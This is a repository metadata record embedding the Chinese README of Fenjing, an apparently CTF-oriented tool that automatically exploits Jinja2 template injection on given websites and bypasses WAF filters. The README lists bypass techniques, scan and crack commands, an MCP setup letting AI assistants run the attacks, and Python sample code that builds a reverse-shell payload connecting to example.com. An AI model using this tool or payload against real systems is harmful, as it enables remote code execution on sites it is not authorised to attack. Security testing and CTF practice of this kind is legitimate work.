{"id":22776612,"url":"https://github.com/marven11/fenjing","last_synced_at":"2026-02-08T12:10:36.300Z","repository":{"id":153206663,"uuid":"621795858","full_name":"Marven11/Fenjing","owner":"Marven11","description":"专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF","archived":false,"fork":false,"pushed_at":"2025-05-10T16:50:20.000Z","size":10340,"stargazers_count":955,"open_issues_count":3,"forks_count":59,"subscribers_count":6,"default_branch":"main","last_synced_at":"2025-05-10T17:38:47.357Z","etag":null,"topics":["ctf","jinja2","python","scanner","security","ssti","waf"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mpl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Marven11.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null},"funding":{"github":null,"patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"lfx_crowdfunding":null,"polar":null,"buy_me_a_coffee":null,"thanks_dev":null,"custom":["https://github.com/Marven11/Marven11/blob/main/buy_me_a_coffee.md"]}},"created_at":"2023-03-31T12:04:03.000Z","updated_at":"2025-05-09T14:07:37.000Z","dependencies_parsed_at":"2024-11-05T15:35:19.903Z","dependency_job_id":"80b477d4-f90a-457a-8401-5e92a4ad151a","html_url":"https://github.com/Marven11/Fenjing","commit_stats":null,"previous_names":[],"tags_count":25,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Marven11%2FFenjing","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Marven11%2FFenjing/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Marven11%2FFenjing/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Marven11%2FFenjing/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Marven11","download_url":"https://codeload.github.com/Marven11/Fenjing/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254110374,"owners_count":22016391,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ctf","jinja2","python","scanner","security","ssti","waf"],"created_at":"2024-12-11T19:10:14.777Z","updated_at":"2026-02-08T12:10:36.294Z","avatar_url":"https://github.com/Marven11.png","language":"Python","funding_links":["https://github.com/Marven11/Marven11/blob/main/buy_me_a_coffee.md"],"categories":[],"sub_categories":[],"readme":"![焚靖](assets/fenjing.webp)\n\n\u003e Bypass the WAF without knowing WAF\n\n\n[![Run tests](https://github.com/Marven11/Fenjing/raw/images/assets/run-tests.svg)](https://github.com/Marven11/Fenjing/actions/workflows/run-tests.yml)\n[![Upload Python Package](https://github.com/Marven11/Fenjing/raw/images/assets/python-package.svg)](https://github.com/Marven11/Fenjing/actions/workflows/python-publish.yml)\n[![codecov](https://github.com/Marven11/Fenjing/raw/images/assets/codecov.svg)](https://codecov.io/gh/Marven11/Fenjing)\n[![Downloads](https://github.com/Marven11/Fenjing/raw/images/assets/downloads.svg)](https://pepy.tech/project/fenjing)\n[![Downloads](https://github.com/Marven11/Fenjing/raw/images/assets/downloads-monthly.svg)](https://pepy.tech/project/fenjing)\n![Static Badge](https://github.com/Marven11/Fenjing/raw/images/assets/license.svg)\n\n[English](README_en.md) [V我50](https://github.com/Marven11/Marven11/blob/main/buy_me_a_coffee.md)\n\n焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本，可以自动攻击给定的网站或接口，省去手动测试接口，fuzz题目WAF的时间。\n\n## 演示\n\n[![asciicast](assets/demo.gif)](https://asciinema.org/a/dMEIPe5NS9eZpQU9T06xZutHh)\n\n## 主要特性\n\n- 集成了大部分CTF中的SSTI WAF绕过技巧\n- 全自动爆破API参数并攻击\n- 全自动分析网站的WAF并生成相应的payload\n- 支持攻击对应的HTML表单或HTTP路径\n- 支持将payload放进GET参数中提交，有效降低payload长度\n- 自动检测关键字替换并绕过\n- ......\n\n## 安装\n\n在以下方法中选择一种\n\n### 使用pipx安装运行（推荐）\n\n```shell\n# 首先使用apt/dnf/pip/...安装pipx\n#pip install pipx\n# 然后用pipx自动创建独立的虚拟环境并进行安装\npipx install fenjing\nfenjing webui\n# fenjing scan --url 'http://xxxx:xxx'\n```\n\n### 使用pip安装运行\n\n```shell\npip install fenjing\nfenjing webui\n# fenjing scan --url 'http://xxxx:xxx'\n```\n\n### 下载并运行docker镜像\n\n```shell\ndocker run --net host -it marven11/fenjing webui\n```\n\n## 使用\n\n### webui\n\n可以直接输入`python -m fenjing webui`启动webui，指定参数并自动攻击\n\n![webui-example](assets/webui-example.png)\n\n在左边填入参数并点击开始分析，然后在右边输入命令即可\n\n### scan\n\n在终端可以用scan功能，猜测某个页面的参数并自动攻击：\n\n`python -m fenjing scan --url 'http://xxxx:xxx/yyy'`\n\n### crack\n\n也可以用crack功能，手动指定参数进行攻击：\n\n`python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET`\n\n这里提供了aaa和bbb两个参数进行攻击，并使用`--detect-mode fast`加速攻击速度\n\n### crack-request\n\n还可以将HTTP请求写进一个文本文件里（比如说`req.txt`）然后进行攻击\n\n文本文件内容如下：\n\n```http\nGET /?name=PAYLOAD HTTP/1.1\nHost: 127.0.0.1:5000\nConnection: close\n\n```\n\n命令如下：\n\n`python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000`\n\n### crack-keywords\n\n如果已经拿到了服务端源码`app.py`的话，可以自动提取代码中的列表作为黑名单生成对应的payload\n\n命令如下：\n\n`python -m fenjing crack-keywords -k app.py -c 'ls /'`\n\n### 其他\n\n此外还支持接受JSON的API，以及根据给定关键字生成payload的用法，详见[examples.md](examples.md)\n\n## 详细使用和疑难解答\n\n见[examples.md](examples.md)以及`--help`选项\n\n## 技术细节\n\n项目结构如下：\n\n[![](https://mermaid.ink/img/pako:eNp1VD1vwyAQ_SsWUjNEcbt76FB17dROrSPrgo8YFYPLR5M0yn8vxmnAH2VA3OPd3eM4OBOqaiQFYUIdaAPaZm9Ppcz8MG6319A1mbNcmGwA-0GVUJr_YEQ0fjk0FnWEmNJt6iKNjeawQllPMxnUOZc-EAOKaUrBPxiYgkHuN1suQfTYNjIOuHM9Z9dzGNfI1HEAt6MwWZ4_DvhNRDZRQTXQT9Qm8RuQJBuwijlJqz3KiPoILbejMhgKsnJazGIFHQsO6fZylhRdihLKWsrJoTo4CQV1cqi7u6z2daKWK3m79OtlWTza6hvSGpgGhaiuYUZkxvdznLnIHusfe2SrceRwoqlzAFN79Y9I7QSayp46nIGhiyO4KC0wH9br--60yAw6ElK0h5xe1yzZ9TrS9hu10x847pRhDn264JL0yLzOpSQb0vpXArz2D_vc-5TENthiSQq_lOisBlGSUl48FZxVrydJSWG1ww3Ryu0b4p-RMN5yXQ0Wnzn4NmpvaAfyXaloY82t0i_DVxJ-lMsvGyVeZA?type=png)](https://mermaid.live/edit#pako:eNp1VD1vwyAQ_SsWUjNEcbt76FB17dROrSPrgo8YFYPLR5M0yn8vxmnAH2VA3OPd3eM4OBOqaiQFYUIdaAPaZm9Ppcz8MG6319A1mbNcmGwA-0GVUJr_YEQ0fjk0FnWEmNJt6iKNjeawQllPMxnUOZc-EAOKaUrBPxiYgkHuN1suQfTYNjIOuHM9Z9dzGNfI1HEAt6MwWZ4_DvhNRDZRQTXQT9Qm8RuQJBuwijlJqz3KiPoILbejMhgKsnJazGIFHQsO6fZylhRdihLKWsrJoTo4CQV1cqi7u6z2daKWK3m79OtlWTza6hvSGpgGhaiuYUZkxvdznLnIHusfe2SrceRwoqlzAFN79Y9I7QSayp46nIGhiyO4KC0wH9br--60yAw6ElK0h5xe1yzZ9TrS9hu10x847pRhDn264JL0yLzOpSQb0vpXArz2D_vc-5TENthiSQq_lOisBlGSUl48FZxVrydJSWG1ww3Ryu0b4p-RMN5yXQ0Wnzn4NmpvaAfyXaloY82t0i_DVxJ-lMsvGyVeZA)\n\npayload生成原理见[howitworks.md](./howitworks.md)\n\n支持的绕过规则如下\n\n### 关键字符绕过：\n\n- `'`和`\"`\n- `_`\n- `[`\n- 绝大多数敏感关键字\n- 任意阿拉伯数字\n- `+`\n- `-`\n- `*`\n- `~`\n- `{{`\n- `%`\n- ...\n\n### 自然数绕过：\n\n支持绕过0-9的同时绕过加减乘除，支持的方法如下：\n- 十六进制\n- a*b+c\n- `(39,39,20)|sum`\n- `(x,x,x)|length`\n- unicode中的全角字符等\n\n### `'%c'`绕过:\n\n支持绕过引号，`g`，`lipsum`和`urlencode`等\n\n### 下划线绕过：\n\n支持`(lipsum|escape|batch(22)|list|first|last)`等\n- 其中的数字22支持上面的数字绕过\n\n### 任意字符串：\n\n支持绕过引号，任意字符串拼接符号，下划线和任意关键词\n\n支持以下形式\n\n- `'str'`\n- `\"str\"`\n- `\"\\x61\\x61\\x61\"`\n- `dict(__class__=x)|join`\n    - 其中的下划线支持绕过\n- `'%c'*3%(97,97, 97)`\n    - 其中的`'%c'`也支持上面的`'%c'`绕过\n    - 其中的所有数字都支持上面的数字绕过\n- 将字符串切分成小段分别生成\n- ...\n\n### 属性：\n\n- `['aaa']`\n- `.aaa`\n- `|attr('aaa')`\n\n### Item\n\n- `['aaa']`\n- `.aaa`\n- `.__getitem__('aaa')`\n\n## 其他技术细节\n\n- 脚本会提前生成一些字符串并使用`{%set %}`设置在前方\n- 脚本会在payload的前方设置一些变量提供给payload后部分的表达式。\n- 脚本会在全自动的前提下生成较短的表达式。\n- 脚本会仔细地检查各个表达式的优先级，尽量避免生成多余的括号。\n\n## 详细使用\n\n### 作为命令行脚本使用\n\n各个功能的介绍：\n\n- webui: 网页UI\n  - 顾名思义，网页UI\n  - 默认端口11451\n- scan: 扫描整个网站\n  - 从网站中根据form元素提取出所有的表单并攻击\n  - 根据给定URL爆破参数，以及提取其他URL进行扫描\n  - 扫描成功后会提供一个模拟终端或执行给定的命令\n  - 示例：`python -m fenjing scan --url 'http://xxx/'`\n- crack: 对某个特定的表单进行攻击\n  - 需要指定表单的url, action(GET或POST)以及所有字段(比如'name')\n  - 攻击成功后也会提供一个模拟终端或执行给定的命令\n  - 示例：`python -m fenjing crack --url 'http://xxx/' --method GET --inputs name`\n- crack-path: 对某个特定的路径进行攻击\n  - 攻击某个路径（如`http://xxx.xxx/hello/\u003cpayload\u003e`）存在的漏洞\n  - 参数大致上和crack相同，但是只需要提供对应的路径\n  - 示例：`python -m fenjing crack-path --url 'http://xxx/hello/'`\n- crack-request: 读取某个请求文件进行攻击\n  - 读取文件里的请求，将其中的`PAYLOAD`替换成实际的payload然后提交\n  - 根据HTTP格式会默认对请求进行urlencode, 可以使用`--urlencode-payload 0`关闭\n- crack-json: 攻击指定的JSON API\n  - 当一个API的body格式为JSON时攻击这个JSON中的某个键\n  - 示例：`python -m fenjing crack-json --url 'http://127.0.0.1:5000/crackjson' --json-data '{\"name\": \"admin\", \"age\": 24, \"msg\": \"\"}' --key msg`\n- crack-keywords: 读取文件中的所有关键字并攻击\n  - 从.txt, .py或者.json文件中读取所有关键字，对给定的shell指令生成对应的payload\n  - 示例：`python -m fenjing crack-keywords -k waf.json -o payload.jinja2 --command 'ls /'`\n\n一些特殊的选项：\n- `--eval-args-payload`：将payload放在GET参数x中提交\n- `--detect-mode`：检测模式，可为accurate或fast\n- `--environment`：指定模板的渲染环境，默认认为模板在flask中的`render_template_string`中渲染\n- `--tamper-cmd`：在payload发出前编码\n  - 例如：\n    - `--tamper-cmd 'rev'`：将payload反转后再发出\n    - `--tamper-cmd 'base64'`：将payload进行base64编码后发出\n    - `--tamper-cmd 'base64 | rev'`：将payload进行base64编码并反转后再发出\n- 详细解释见[examples.md](examples.md)\n\n### MCP服务器支持\n\n焚靖支持通过Model Context Protocol（MCP）作为外部服务提供给AI助手使用。\n\n#### 配置方法\n\n在MCP客户端配置文件中添加以下配置（例如OpenCode的opencode.jsonc）：\n\n```json\n{\n  \"mcp\": {\n    \"fenjing\": {\n      \"type\": \"local\",\n      \"command\": [\"fenjing\", \"mcp\"],\n      \"enabled\": true\n    }\n  }\n}\n```\n\n配置完成后，AI助手即可通过焚靖进行SSTI漏洞检测和攻击。\n\n### 作为python库使用\n\n参考[example.py](example.py)\n\n```python\nfrom fenjing import exec_cmd_payload, config_payload\nimport logging\nlogging.basicConfig(level = logging.INFO)\n\ndef waf(s: str):\n    blacklist = [\n        \"config\", \"self\", \"g\", \"os\", \"class\", \"length\", \"mro\", \"base\", \"lipsum\",\n        \"[\", '\"', \"'\", \"_\", \".\", \"+\", \"~\", \"{{\",\n        \"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\",\n        \"０\",\"１\",\"２\",\"３\",\"４\",\"５\",\"６\",\"７\",\"８\",\"９\"\n    ]\n    return all(word not in s for word in blacklist)\n\nif __name__ == \"__main__\":\n    shell_payload, _ = exec_cmd_payload(waf, \"bash -c \\\"bash -i \u003e\u0026 /dev/tcp/example.com/3456 0\u003e\u00261\\\"\")\n    config_payload = config_payload(waf)\n\n    print(f\"{shell_payload=}\")\n    print(f\"{config_payload=}\")\n\n```\n\n其他使用例可以看[这里](examples.md)\n\n## 捐赠\n\n|  日期  |  金额 |平台|备注ID|  备注 |\n|--------|-------|----|------|------|\n|20250407|  ￥20 |微信|      |       |\n|20250703|￥18.88|微信|      | 加油!  |\n|20251110|  ￥50 |微信|      |       |\n\n## Stars\n\n[![Stargazers over time](https://github.com/Marven11/Fenjing/raw/images/assets/stars.svg)](https://starchart.cc/Marven11/Fenjing)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmarven11%2Ffenjing","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmarven11%2Ffenjing","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmarven11%2Ffenjing/lists"}